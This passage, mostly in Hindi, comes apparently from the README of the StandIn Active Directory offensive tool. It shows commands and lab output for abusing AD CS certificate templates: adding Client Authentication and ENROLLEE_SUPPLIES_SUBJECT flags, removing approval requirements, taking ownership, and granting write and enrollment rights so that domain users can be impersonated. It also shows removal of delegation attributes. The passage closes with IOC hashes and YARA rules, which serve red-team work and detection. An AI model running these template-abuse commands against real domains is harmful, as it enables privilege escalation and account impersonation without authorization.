whenchanged |_ 11/2/2020 7:55:14 PM [+] operatingsystemversion |_ 10.0 (18363) [+] dnshostname |_ m-10-1909-03.main.redhook.local [+] dscorepropagationdata |_ 10/30/2020 6:56:30 PM |_ 10/30/2020 10:55:22 AM |_ 10/29/2020 4:58:51 PM |_ 10/29/2020 4:58:29 PM |_ 1/1/1601 12:00:01 AM [+] lastlogon |_ 11/2/2020 9:07:20 AM UTC [+] distinguishedname |_ CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] msds-supportedencryptiontypes |_ RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [+] samaccountname |_ M-10-1909-03$ [+] objectsid |_ S-1-5-21-1293271031-3053586410-2290657902-1127 [+] lastlogoff |_ 0 [+] msds-allowedtoactonbehalfofotheridentity |_ BinLen : 36 |_ AceQualifier : AccessAllowed |_ IsCallback : False |_ OpaqueLength : 0 |_ AccessMask : 983551 |_ SID : S-1-5-21-1293271031-3053586410-2290657902-1205 |_ AceType : AccessAllowed |_ AceFlags : None |_ IsInherited : False |_ InheritanceFlags : None |_ PropagationFlags : None |_ AuditFlags : None [+] accountexpires |_ 0x7FFFFFFFFFFFFFFF
### msDS-AllowedToActOnBehalfOfOtherIdentity हटाएँ
#### उपयोग का मामला
> *मशीन ऑब्जेक्ट पर लेखन पहुँच के साथ, यह फ़ंक्शन ऑपरेटर को मशीन से पहले से जोड़ी गई `msDS-AllowedToActOnBehalfOfOtherIdentity` प्रॉपर्टी को हटाने की अनुमति देता है।*
#### सिंटैक्स
मशीन से पहले से बनाई गई `msDS-AllowedToActOnBehalfOfOtherIdentity` प्रॉपर्टी हटाएँ।```
C:\> StandIn.exe --computer m-10-1909-03 --remove
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=M-10-1909-03
Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] msDS-AllowedToActOnBehalfOfOtherIdentity property removed..
ये Certify के सहायक फ़ंक्शन्स हैं। ये template हमलों को सुविधा प्रदान कर सकते हैं जहाँ डिफ़ॉल्ट टेम्पलेट स्थिति बिना किसी संशोधन के उपयोग योग्य नहीं है।
यह फ़ंक्शन सभी
domain CA'sको गणना कर सकता है और सभीpublished templatesको सूचीबद्ध करेगा। वैकल्पिक रूप से आप--filterका उपयोग करके पूर्ण टेम्पलेट नाम या नाम के एक भाग पर वाइल्डकार्ड लगा सकते हैं।
सभी प्रकाशित टेम्पलेट्स खोजें और, इस मामले में, आउटपुट को filter करें ताकि केवल web से मेल खाने वाले टेम्पलेट्स वापस मिलें।```
C:>StandIn.exe --adcs --filter web
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Server Authentication |_ Owner : REDHOOK\Enterprise Admins |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 1:57:16 PM
### क्लाइंट प्रमाणीकरण
#### उपयोग केस
> *डोमेन उपयोगकर्ताओं का प्रतिरूपण करने के लिए उपयोग किए जा सकने वाले प्रमाणपत्र उत्पन्न करने में सक्षम होने के लिए, प्रमाणपत्र टेम्पलेट `pKIExtendedKeyUsage` गुण में `Client Authentication` फ़्लैग होना चाहिए। उपयुक्त `object permissions` के साथ यह फ़ंक्शन ऑपरेटर को टेम्पलेट से उस फ़्लैग को जोड़ने या हटाने की अनुमति देता है।*
#### सिंटैक्स
`WebServer` टेम्पलेट से `Client Authentication` फ़्लैग जोड़ें/हटाएँ। यहाँ `--filter` फ़्लैग को टेम्पलेट नाम से बिल्कुल मेल खाना चाहिए।```
C:\>StandIn.exe --adcs --filter WebServer --clientauth --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 2:40:06 PM
[+] Adding pKIExtendedKeyUsage : Client Authentication
|_ Success
C:\>StandIn.exe --adcs --filter WebServer --clientauth --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 1:57:16 PM
[+] Removing pKIExtendedKeyUsage : Client Authentication
|_ Success
प्रमाणपत्र अनुरोध करते समय एक मनमाना उपयोगकर्ता पहचान प्रदान करने में सक्षम होने के लिए, प्रमाणपत्र टेम्पलेट
msPKI-Certificate-Name-Flagगुण मेंENROLLEE_SUPPLIES_SUBJECTध्वज होना चाहिए। उपयुक्तऑब्जेक्ट अनुमतियोंके साथ, यह फ़ंक्शन ऑपरेटर को टेम्पलेट में उस ध्वज को जोड़ने या हटाने की अनुमति देता है।
WebServer टेम्पलेट से ENROLLEE_SUPPLIES_SUBJECT ध्वज जोड़ें/हटाएं। यहाँ --filter ध्वज को टेम्पलेट नाम से बिल्कुल मेल खाना चाहिए।```
C:>StandIn.exe --adcs --filter WebServer --ess --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : 0 |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:50:34 PM
[+] Adding msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT |_ Success
C:>StandIn.exe --adcs --filter WebServer --ess --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:40:08 PM
[+] Removing msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT |_ Success
### PEND_ALL_REQUESTS
#### उपयोग का मामला
> *जब प्रमाणपत्र टेम्पलेट `msPKI-Enrollment-Flag` प्रॉपर्टी में `PEND_ALL_REQUESTS` फ्लैग होता है, तो सभी प्रमाणपत्र अनुरोध `pending` स्थिति में कतारबद्ध हो जाते हैं और `CA Certificate Manager` को उन अनुरोधों को अनुमोदित करना होगा। यह हमलावर के दृष्टिकोण से वांछनीय नहीं है। उपयुक्त `object permissions` के साथ यह फ़ंक्शन ऑपरेटर को टेम्पलेट से उस फ्लैग को जोड़ने या हटाने की अनुमति देता है।*
#### सिंटैक्स
`WebServer` टेम्पलेट से `PEND_ALL_REQUESTS` फ्लैग जोड़ें/हटाएं। यहाँ `--filter` फ्लैग को टेम्पलेट नाम से बिल्कुल मेल खाना चाहिए।```
C:\>StandIn.exe --adcs --filter WebServer --pend --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : PEND_ALL_REQUESTS
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 2:54:51 PM
[+] Removing msPKI-Enrollment-Flag : PEND_ALL_REQUESTS
|_ Success
C:\>StandIn.exe --adcs --filter WebServer --pend --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 2:50:37 PM
[+] Adding msPKI-Enrollment-Flag : PEND_ALL_REQUESTS
|_ Success
कुछ विशेष मामलों में, ऑपरेटर के पास
template objectपरWriteOwnerअनुमतियाँ हो सकती हैं। जहाँ अन्य हमले संभव नहीं हैं, ऑपरेटर टेम्पलेट के स्वामी को बदल सकता है, जिससे नए स्वामी को टेम्पलेट परGenericAllअनुमतियाँ प्राप्त होंगी। यह हमला बहुत वांछनीय नहीं है,caveatsदेखें।
template object के Owner को REDHOOK\MBWillett पर सेट करें। यहाँ --filter फ़्लैग को टेम्पलेट नाम से बिल्कुल मेल खाना चाहिए।```
C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --owner
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:58:19 PM
[+] Set object access rules
[+] Changing template owner : REDHOOK\MBWillett |_ Success
C:>StandIn.exe --adcs --filter WebServer
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Owner : REDHOOK\MBWillett |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:05:45 PM
#### चेतावनी
इस हमले में कुछ अतिरिक्त बाधाएं हैं। प्रयोगशाला परीक्षण में मैंने पाया कि जब किसी `user context` के पास `WriteOwner` विशेषाधिकार था, तो वह उपयोगकर्ता `केवल स्वयं के लिए Owner बदल सकता था`; किसी अन्य उपयोगकर्ता पहचान प्रदान करने पर अनुरोध विफल हो जाता था। इसके अतिरिक्त, एक बार बदलने के बाद, `Enterprise Admins` संदर्भ से निष्पादित किए बिना मालिक को उसकी पुरानी स्थिति में वापस नहीं लाया जा सकता था।
ये बाधाएं इस हमले को अवांछनीय बनाती हैं, इसका उपयोग केवल तभी किया जाना चाहिए जब कोई अन्य विकल्प उपलब्ध न हों। पुराने `Owner` पर वापस लौटने के लिए, ऑपरेटर एक `Enterprise Admins` उपयोगकर्ता के लिए एक प्रमाणपत्र उत्पन्न कर सकता है और उसका उपयोग मालिक को वापस बदलने के लिए कर सकता है।```
# WebServer owned by REDHOOK\MBWillett & executing as "REDHOOK\MBWillett"
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\Enterprise Admins" --owner
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 4:18:21 PM
[+] Set object access rules
[+] Changing template owner : REDHOOK\Enterprise Admins
[!] Failed to modify ADCS permissions..
|_ A constraint violation occurred.
# WebServer owned by REDHOOK\MBWillett & executing in "REDHOOK\Enterprise Admins" context
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\Enterprise Admins" --owner
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:05:45 PM
[+] Set object access rules
[+] Changing template owner : REDHOOK\Enterprise Admins
|_ Success
टेम्पलेट लिखने की अनुमति कुछ अन्य उल्लिखित
template attacksको निष्पादित करने के लिए आवश्यक हो सकती है। उपयुक्तobject permissionsके साथ यह फ़ंक्शन ऑपरेटर कोtemplate objectपर किसीNtAccountसेWriteDacl/WriteOwner/WritePropertyअनुमतियाँ जोड़ने या हटाने की अनुमति देता है।
REDHOOK\MBWillett के लिए WebServer टेम्पलेट पर Write अनुमतियाँ जोड़ें/हटाएं। यहाँ --filter फ़्लैग को टेम्पलेट नाम से बिल्कुल मेल खाना चाहिए।```
C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --write --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:15:44 PM
[+] Set object access rules
[+] Adding write permissions : REDHOOK\MBWillett |_ Success
C:>StandIn.exe --adcs --filter WebServer
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Owner : REDHOOK\Enterprise Admins |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\MBWillett | |_ Type : Allow | |_ Permission : WriteProperty, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:29:36 PM
C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --write --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:29:36 PM
[+] Set object access rules
[+] Removing write permissions : REDHOOK\MBWillett |_ Success
### प्रमाणपत्र-नामांकन अनुमति जोड़ें
#### उपयोग मामला
> *`टेम्पलेट प्रमाणपत्र` का अनुरोध करने में सक्षम होने के लिए `अनुरोधकर्ता` के पास `प्रमाणपत्र-नामांकन` अनुमतियाँ होनी चाहिए। उपयुक्त `ऑब्जेक्ट अनुमतियों` के साथ यह फ़ंक्शन ऑपरेटर को `टेम्पलेट ऑब्जेक्ट` पर किसी `NtAccount` से `प्रमाणपत्र-नामांकन` अनुमतियाँ जोड़ने या हटाने की अनुमति देता है।*
#### वाक्यविन्यास
`WebServer` टेम्पलेट पर `REDHOOK\MBWillett` के लिए `Certificate-Enrollment` अनुमतियाँ जोड़ें/हटाएं। यहाँ `--filter` फ़्लैग को टेम्पलेट नाम से बिल्कुल मेल खाना चाहिए।```
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --enroll --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:29:57 PM
[+] Set object access rules
[+] Adding Certificate-Enrollment permission : REDHOOK\MBWillett
|_ Success
C:\>StandIn.exe --adcs --filter WebServer
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA
|_ DNS Hostname : RH-DC01.redhook.local
|_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local
|_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53
|_ Published Templates : CrossCA
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Schema Version : 1
|_ pKIExpirationPeriod : 2 years
|_ pKIOverlapPeriod : 6 weeks
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Owner : REDHOOK\Enterprise Admins
|_ Permission Identity : REDHOOK\Domain Admins
| |_ Type : Allow
| |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
| |_ Object : ANY
|_ Permission Identity : REDHOOK\Domain Users
| |_ Type : Allow
| |_ Permission : GenericAll
| |_ Object : ANY
|_ Permission Identity : REDHOOK\Enterprise Admins
| |_ Type : Allow
| |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
| |_ Object : ANY
|_ Permission Identity : REDHOOK\Domain Admins
| |_ Type : Allow
| |_ Permission : ReadProperty, WriteProperty, ExtendedRight
| |_ Object : Certificate-Enrollment
|_ Permission Identity : REDHOOK\Enterprise Admins
| |_ Type : Allow
| |_ Permission : ReadProperty, WriteProperty, ExtendedRight
| |_ Object : Certificate-Enrollment
|_ Permission Identity : REDHOOK\MBWillett
| |_ Type : Allow
| |_ Permission : ExtendedRight
| |_ Object : Certificate-Enrollment
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:38:36 PM
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --enroll --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:38:36 PM
[+] Set object access rules
[+] Removing Certificate-Enrollment permission : REDHOOK\MBWillett
|_ Success
यह अनुभाग StandIn के लिए पहचान इंजीनियरिंग प्रक्रिया में सहायता करने वाले कई IOC का रूपरेखा प्रस्तुत करता है।
निम्नलिखित तालिका StandIn के लिए रिलीज़ पैकेज हैश को मैप करती है।``` -=v1.3=- StandIn_Net35.exe SHA256: C2ACD3667483E5AC1E423E482DBA462E96DA3978776BFED07D9B436FEE135AB2 MD5: 5E9364F46723B7DC5FF24DE6E9C69E76
StandIn_Net45.exe SHA256: 2E37A3D2DC2ECB0BD026C93055A71CAB4E568B062B1C9F7B8846E04DF1E9F3E6 MD5: 566FFA0555E81560407B8CE6E458E829
-=v1.2=- StandIn_Net35.exe SHA256: DCCDA4991BEBC5F2399C47C798981E7828ECC2BA77ED52A1D37BD866AD5582AA MD5: D11A8CC4768221CEB5A128A349C5E094
StandIn_Net45.exe SHA256: 24C53132B594B77D2109CAEE3E276EA4603EEF32BFECD5121746DB58258C50F7 MD5: DA2AFD1868FBEB9357C8D0FD62ED97EB
-=v0.8=- StandIn_Net35.exe SHA256: A0B3C96CA89770ED04E37D43188427E0016B42B03C0102216C5F6A785B942BD3 MD5: 8C942EE4553E40A7968FF0C8DC5DB9AB
StandIn_Net45.exe SHA256: F80AEB33FC53F2C8D6313A6B20CD117739A71382C208702B43073D54C9ACA681 MD5: 9E0FC3159A6BF8C3A8A0FAA76F6F74F9
-=v0.7=- StandIn_Net35.exe SHA256: A1ECD50DA8AAE5734A5F5C4A6A951B5F3C99CC4FB939AC60EF5EE19896CA23A0 MD5: 50D29F7597BF83D80418DEEFD360F093
StandIn_Net45.exe SHA256: DBAB7B9CC694FC37354E3A18F9418586172ED6660D8D205EAFFF945525A6A31A MD5: 4E5258A876ABCD2CA2EF80E0D5D93195
#### Yara
निम्नलिखित Yara नियमों का उपयोग StandIn को डिस्क पर, इसके डिफ़ॉल्ट रूप में पहचानने के लिए किया जा सकता है।```js
rule StandIn
{
meta:
author = "Ruben Boonen (@FuzzySec)"
description = "Detect StandIn string constants."
strings:
$s1 = "StandIn" ascii wide nocase
$s2 = "(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" ascii wide nocase
$s3 = "msDS-AllowedToActOnBehalfOfOtherIdentity" ascii wide nocase
$s4 = ">--~~--> Args? <--~~--<" ascii wide nocase
condition:
all of ($s*)
}
rule StandIn_PDB
{
meta:
author = "Ruben Boonen (@FuzzySec)"
description = "Detect StandIn default PDB."
strings:
$s1 = "\\Release\\StandIn.pdb" ascii wide nocase
condition:
all of ($s*)
}
नीचे दिया गया Yara नियम StandIn का पता लगाने के लिए उपयोग किया जा सकता है जब निष्पादन मेमोरी से होता है। इस नियम का उपयोग करने के लिए, EDR समाधान को Microsoft-Windows-DotNETRuntime ETW डेटा प्रदाता तक पहुंच की आवश्यकता होगी। परीक्षण उद्देश्यों के लिए, इस नियम का सीधे SilkETW का उपयोग करके मूल्यांकन किया जा सकता है। यह ध्यान दिया जाना चाहिए कि यह एक सामान्य उदाहरण नियम है, उत्पादन अलर्टिंग के लिए अधिक सूक्ष्म दृष्टिकोण की आवश्यकता होगी।```js
rule Silk_StandIn_Generic
{
meta:
author = "Ruben Boonen (@FuzzySec)"
description = "Generic Microsoft-Windows-DotNETRuntime detection for StandIn."
strings:
$s1 = "\\r\\nFullyQualifiedAssemblyName=0;\\r\\nClrInstanceID=StandIn" ascii wide nocase
$s2 = "MethodFlags=Jitted;\\r\\nMethodNamespace=StandIn." ascii wide nocase
condition:
any of them
}

## विशेष धन्यवाद
मैं उन लोगों को त्वरित शुक्रिया कहना चाहता हूँ जिन्होंने `StandIn` में कोड और/या बगफिक्स का योगदान दिया है।
[@G0ldenGunSec](https://twitter.com/G0ldenGunSec), [@matterpreter](https://twitter.com/matterpreter), [guervild](https://github.com/guervild)